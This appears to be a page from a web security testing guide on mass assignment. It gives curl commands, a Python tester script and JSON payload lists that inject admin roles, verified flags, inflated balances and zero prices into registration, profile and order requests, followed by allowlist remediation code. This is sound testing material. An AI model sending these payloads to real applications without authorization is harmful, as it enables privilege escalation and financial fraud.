wstg-inpv-20

wstg-inpv-20

Test ID

WSTG-INPV-20

Test Name

Testing for Mass Assignment

High-Level Description

Mass Assignment (also known as Auto-binding or Object Injection) occurs when an application automatically binds user-provided data to internal objects. Attackers can modify object properties they shouldn't have access to, such as changing user roles, prices, or account status by adding extra parameters to requests.

---

What to Check

• Hidden parameter injection
• Role/privilege escalation
• Price/amount manipulation
• Status field modification
• Admin flag injection
• Timestamp manipulation

---

How to Test

Step 1: Identify Mass Assignment Points

#!/bin/bash
TARGET="https://target.com"

echo "[*] Testing for Mass Assignment..."

# Test user registration with extra parameters
curl -s -X POST "$TARGET/api/register" \
    -H "Content-Type: application/json" \
    -d '{
        "username": "testuser",
        "email": "test@test.com",
        "password": "TestPass123!",
        "role": "admin",
        "isAdmin": true,
        "is_admin": true
    }'

# Test profile update with extra parameters
curl -s -X PUT "$TARGET/api/user/profile" \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer TOKEN" \
    -d '{
        "name": "Test User",
        "role": "admin",
        "verified": true,
        "balance": 999999
    }'

Step 2: Mass Assignment Tester

#!/usr/bin/env python3
"""
Mass Assignment Vulnerability Tester
"""

import requests
import json
import copy

class MassAssignmentTester:
    def __init__(self, url):
        self.url = url
        self.findings = []
        self.session = requests.Session()

    # Common mass assignment parameters
    DANGEROUS_PARAMS = {
        'privilege_escalation': [
            ('role', ['admin', 'administrator', 'superuser', 'root']),
            ('isAdmin', [True, 1, 'true', 'yes']),
            ('is_admin', [True, 1, 'true', 'yes']),
            ('admin', [True, 1, 'true', 'yes']),
            ('user_type', ['admin', 'staff', 'manager']),
            ('permissions', ['all', '*', 'admin']),
            ('group', ['admin', 'administrators']),
            ('groups', [['admin'], ['administrators']]),
        ],
        'account_status': [
            ('verified', [True, 1]),
            ('is_verified', [True, 1]),
            ('email_verified', [True, 1]),
            ('active', [True, 1]),
            ('is_active', [True, 1]),
            ('approved', [True, 1]),
            ('confirmed', [True, 1]),
        ],
        'financial': [
            ('balance', [999999, 1000000]),
            ('credits', [999999]),
            ('points', [999999]),
            ('price', [0, 1, 0.01]),
            ('amount', [0, 1]),
            ('discount', [100, 99]),
            ('total', [0, 1]),
        ],
        'access_control': [
            ('owner_id', [1, 0]),
            ('user_id', [1, 0]),
            ('created_by', [1]),
            ('tenant_id', [1]),
            ('organization_id', [1]),
        ],
        'timestamps': [
            ('created_at', ['2099-01-01']),
            ('updated_at', ['2099-01-01']),
            ('deleted_at', [None, '']),
            ('expires_at', ['2099-12-31']),
            ('valid_until', ['2099-12-31']),
        ],
    }

    def test_registration(self, base_data=None):
        """Test mass assignment in user registration"""
        print("\n[*] Testing mass assignment in registration...")

        if base_data is None:
            base_data = {
                'username': 'masstest_user',
                'email': 'masstest@test.com',
                'password': 'TestPass123!'
            }

        register_url = f"{self.url}/register"

        for category, params in self.DANGEROUS_PARAMS.items():
            for param_name, test_values in params:
                for value in test_values:
                    test_data = copy.deepcopy(base_data)
                    test_data[param_name] = value

                    try:
                        response = self.session.post(
                            register_url,
                            json=test_data
                        )

                        # Check if parameter was accepted
                        if response.status_code in [200, 201]:
                            resp_data = response.json() if response.text else {}

                            # Check if dangerous param is reflected
                            if param_name in str(resp_data):
                                print(f"[WARN] Parameter accepted: {param_name}={value}")
                                self.findings.append({
                                    'type': 'Mass Assignment',
                                    'endpoint': 'registration',
                                    'parameter': param_name,
                                    'value': value,
                                    'category': category,
                                    'severity': 'High' if category == 'privilege_escalation' else 'Medium'
                                })

                    except Exception as e:
                        pass

    def test_profile_update(self, auth_token=None, base_data=None):
        """Test mass assignment in profile update"""
        print("\n[*] Testing mass assignment in profile update...")

        if base_data is None:
            base_data = {'name': 'Test User'}

        headers = {}
        if auth_token:
            headers['Authorization'] = f'Bearer {auth_token}'

        update_url = f"{self.url}/profile"

        for category, params in self.DANGEROUS_PARAMS.items():
            for param_name, test_values in params:
                for value in test_values:
                    test_data = copy.deepcopy(base_data)
                    test_data[param_name] = value

                    try:
                        response = self.session.put(
                            update_url,
                            json=test_data,
                            headers=headers
                        )

                        if response.status_code == 200:
                            resp_data = response.json() if response.text else {}

                            if param_name in str(resp_data):
                                print(f"[WARN] Profile accepts: {param_name}={value}")
                                self.findings.append({
                                    'type': 'Mass Assignment',
                                    'endpoint': 'profile_update',
                                    'parameter': param_name,
                                    'value': value,
                                    'category': category,
                                    'severity': 'High' if category == 'privilege_escalation' else 'Medium'
                                })

                    except Exception as e:
                        pass

    def test_order_manipulation(self, auth_token=None):
        """Test mass assignment in order/checkout"""
        print("\n[*] Testing mass assignment in orders...")

        order_data = {
            'items': [{'product_id': 1, 'quantity': 1}],
            'shipping_address': '123 Test St'
        }

        headers = {}
        if auth_token:
            headers['Authorization'] = f'Bearer {auth_token}'

        order_url = f"{self.url}/orders"

        # Test financial parameters
        financial_params = [
            ('total', 0),
            ('price', 0.01),
            ('discount', 100),
            ('shipping_cost', 0),
            ('tax', 0),
            ('subtotal', 0),
        ]

        for param_name, value in financial_params:
            test_data = copy.deepcopy(order_data)
            test_data[param_name] = value

            try:
                response = self.session.post(
                    order_url,
                    json=test_data,
                    headers=headers
                )

                if response.status_code in [200, 201]:
                    resp_data = response.json() if response.text else {}

                    if str(value) in str(resp_data.get(param_name, '')):
                        print(f"[VULN] Order accepts: {param_name}={value}")
                        self.findings.append({
                            'type': 'Mass Assignment - Price Manipulation',
                            'endpoint': 'orders',
                            'parameter': param_name,
                            'value': value,
                            'severity': 'Critical'
                        })

            except Exception as e:
                pass

    def test_api_endpoints(self, endpoints=None, auth_token=None):
        """Test multiple API endpoints for mass assignment"""
        print("\n[*] Testing API endpoints...")

        if endpoints is None:
            endpoints = [
                ('POST', '/api/users'),
                ('PUT', '/api/users/{id}'),
                ('POST', '/api/products'),
                ('PUT', '/api/products/{id}'),
                ('POST', '/api/settings'),
            ]

        headers = {'Content-Type': 'application/json'}
        if auth_token:
            headers['Authorization'] = f'Bearer {auth_token}'

        test_params = ['role', 'isAdmin', 'admin', 'verified', 'price', 'status']

        for method, endpoint in endpoints:
            url = f"{self.url}{endpoint.replace('{id}', '1')}"

            for param in test_params:
                test_data = {param: 'injected_value'}

                try:
                    if method == 'POST':
                        response = self.session.post(url, json=test_data, headers=headers)
                    else:
                        response = self.session.put(url, json=test_data, headers=headers)

                    if response.status_code in [200, 201]:
                        print(f"  [INFO] {method} {endpoint}: {param} accepted")

                except Exception as e:
                    pass

    def generate_report(self):
        """Generate findings report"""
        print("\n" + "="*60)
        print("MASS ASSIGNMENT VULNERABILITY REPORT")
        print("="*60)

        if not self.findings:
            print("\nNo mass assignment vulnerabilities confirmed.")
            print("Note: Manual verification may still be needed.")
        else:
            # Group by severity
            critical = [f for f in self.findings if f['severity'] == 'Critical']
            high = [f for f in self.findings if f['severity'] == 'High']
            medium = [f for f in self.findings if f['severity'] == 'Medium']

            if critical:
                print(f"\n[CRITICAL] ({len(critical)} issues)")
                for f in critical:
                    print(f"  - {f['endpoint']}: {f['parameter']}={f['value']}")

            if high:
                print(f"\n[HIGH] ({len(high)} issues)")
                for f in high:
                    print(f"  - {f['endpoint']}: {f['parameter']}={f['value']}")

            if medium:
                print(f"\n[MEDIUM] ({len(medium)} issues)")
                for f in medium:
                    print(f"  - {f['endpoint']}: {f['parameter']}={f['value']}")

    def run_tests(self, auth_token=None):
        """Run all mass assignment tests"""
        self.test_registration()
        self.test_profile_update(auth_token)
        self.test_order_manipulation(auth_token)
        self.test_api_endpoints(auth_token=auth_token)
        self.generate_report()

# Usage
tester = MassAssignmentTester("https://target.com/api")
tester.run_tests(auth_token='your_jwt_token')

Step 3: Common Vulnerable Parameters

// Privilege Escalation
{
    "role": "admin",
    "isAdmin": true,
    "is_admin": true,
    "admin": true,
    "user_type": "admin",
    "permissions": ["all"],
    "group": "administrators"
}

// Account Status
{
    "verified": true,
    "email_verified": true,
    "active": true,
    "approved": true,
    "confirmed": true
}

// Financial
{
    "balance": 999999,
    "credits": 999999,
    "price": 0,
    "discount": 100,
    "total": 0
}

// Access Control
{
    "owner_id": 1,
    "user_id": 1,
    "tenant_id": 1,
    "organization_id": 1
}

---

Tools

---

Remediation

# Python/Flask - Explicit field allowlist
from flask import request
from marshmallow import Schema, fields

class UserUpdateSchema(Schema):
    # Only these fields can be updated
    name = fields.Str()
    email = fields.Email()
    # role, isAdmin, etc. are NOT included

@app.route('/profile', methods=['PUT'])
def update_profile():
    schema = UserUpdateSchema()
    data = schema.load(request.json)  # Only allowed fields
    user.update(**data)

// Node.js/Express - Allowlist pattern
const allowedFields = ["name", "email", "bio"]

app.put("/profile", (req, res) => {
  const updates = {}
  for (const field of allowedFields) {
    if (req.body[field] !== undefined) {
      updates[field] = req.body[field]
    }
  }
  // Only safe fields are used
  User.update(userId, updates)
})

# Rails - Strong Parameters
def user_params
    params.require(:user).permit(:name, :email)
    # role, admin, etc. are NOT permitted
end

---

Risk Assessment

---

CWE Categories

---

Checklist

[ ] Registration endpoint tested
[ ] Profile update tested
[ ] Order/payment endpoints tested
[ ] Hidden parameters discovered
[ ] Privilege escalation tested
[ ] Financial manipulation tested
[ ] Findings documented